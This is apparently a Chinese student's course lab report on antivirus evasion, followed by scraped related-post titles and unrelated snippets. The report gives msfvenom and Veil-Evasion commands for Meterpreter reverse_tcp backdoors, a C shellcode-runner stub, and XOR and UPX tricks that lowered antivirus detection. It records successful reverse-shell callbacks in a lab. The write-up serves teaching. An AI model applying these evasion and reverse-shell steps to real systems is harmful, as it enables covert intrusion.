20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

实验过程

Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.org/上进行扫描,有48%的杀软报告病毒。





如上图所示,39款杀毒软件中有20款报毒,可见实验二的后门不具有隐秘性,且国内的杀毒软件对此后门报毒率100%,可见国内的杀毒软件质量可靠。

接下来将对免杀后门做一定研究。

Veil-Evasion免杀平台

Veil-Evasion的安装

可使用以下命令完整安装Veil-Evasion。

echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
sudo apt-get update
sudo apt-get install veil-evasion

Veil-Evasion的使用

在终端输入 veil 进入Veil-Evasion。



接着输入use evasion

之后依次输入以下命令:

use python/meterpreter/rev_tcp.py  //设置payload
set LHOST 192.168.253.128 //设置反弹连接IP(kali的IP地址)
set port 443 //设置反弹端口443,默认为4444
generate //生成
5239 //程序名

输入文件名后选择1

1选项之后跟了一个default,选择后发现只能生成python文件、.py文件,但无法生成exe可执行文件,原因应该是系统未安装合适的python运行环境,于是,我们换成C语言的代码。

之后改变了设置payload的命令,改为 use c/meterpreter/rev_tcp.py 。

而后继续输入后面的内容,生成相应的文件:



在相应的文件夹下找到exe文件,将其拷贝至windows,进行免杀测试:





测试结果比之前的好很多。

接下来进行回连尝试:

回连成功。

利用shellcode编程实现免杀

使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.130 LPORT=443 -f c生成C语言的shellcode。



将其手动复制到code::blocks中运行,生成exe可执行文件。

  #include <stdio.h>
#include <stdlib.h>
#include <string.h> unsigned char buf[] =
"此处省去若干行" int main()
{
int (*func)()=(int(*)())buf;
func();
}

进行免杀测试:

进行回连尝试:

回连成功。

但使用第二种方法效果更好一些:

免杀进阶

压缩加壳

首先用UPX对生成的exe文件尝试压缩加壳

压缩后文件大小由28KB压缩成21KB,但是在免杀方面并没有什么显著效果,只比原来减少一个杀毒软件报毒。

修改shellcode

对shellcode进行异或,每一位数异或0x47,之后在数组调用前异或回来。

只有3个杀毒软件报毒,比起之前的检测结果有了好转。

对shellcode进行异或后再进行加压

结果比只进行异或多了一个杀毒软件报毒。

回连尝试

通过上述三种修改后的shellcode编译出的可执行均可回连成功。

基础问题回答

1、杀软是如何检测出恶意代码的?

恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。

2、免杀是做什么?

对恶意软件做处理,让它不被杀毒软件所检测。

3、免杀的基本方法有哪些?

(1)加壳。

(2)对shellcode编码进行处理。

实践总结与体会



20155239吕宇轩《网络对抗》Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  3. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  4. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

随机推荐

  1. LeetCode题解之N-ary Tree Postorder Traversal

    1.题目描述 2.问题分析 递归. 3.代码 vector<int> postorder(Node* root) { vector<int> v; postNorder(roo ...

  2. Ionic 命令

    在WebStorm的设置中设置下面的命令后, 可以通过 工具 -->External Tools 中选中来执行指定脚本 C:\Windows\System32\WindowsPowerShell ...

  3. PHP检测数组中的每个值是否含有特殊字符

    本文出至:新太潮流网络博客 /** * [TestArray 检测数组是一维还是二维] * @E-mial wuliqiang_aa@163.com * @TIME 2017-04-07 * @WEB ...

  4. c#中Indexof()和Split()的用法

    C#中IndexOf的使用 indexOf() 查找字串中指定字符或字串首次出现的位置,返首索引值,如: str1.IndexOf("字"): //查找“字”在str1中的索引值( ...

  5. Azure 中虚拟机的区域和可用性

    Azure 在中国的两个数据中心运行. 这些数据中心分组到地理区域,让用户可灵活选择构建应用程序的位置. 请务必了解 Azure 中虚拟机 (VM) 运行的方式和位置,以及最大化性能.可用性和冗余的选 ...

  6. PHP中unset,array_splice删除数组中元素的区别

    php中删除数组元素是非常的简单的,但有时删除数组需要对索引进行一些排序要求我们会使用到相关的函数,这里我们来介绍使用unset,array_splice删除数组中的元素区别吧 如果要在某个数组中删除 ...

  7. fedora27安装谷歌浏览器Chrome

    安装 添加chrome源 #cd /etc/yum.repos.d #wget http://repo.fdzh.org/chrome/google-chrome-mirrors.repo 安装Chr ...

  8. 关于MVC开发时,无法找到area的问题记录

    解决方法: 检查area=admin 的dll是否生成,一般都是admin域生成dll导致

  9. BBS论坛博客系统

    目录 BBS网站需求分析 BBS数据库设计 BBS用户登录 BBS用户注册 BBS网站首页 BBS个人首页 后台管理系统搭建 网站全部源码

  10. 如何弹出QQ临时对话框实现不添加好友在线交谈效果

    如何不添加好友弹出QQ临时对话框实现在线交谈效果,这样的一个需求,我们真的是太需要了,实现起来也很简单,一行代码即可搞定,需要的朋友可以参考下 其实这个很简单,在img我们加入一个a标签,然后 < ...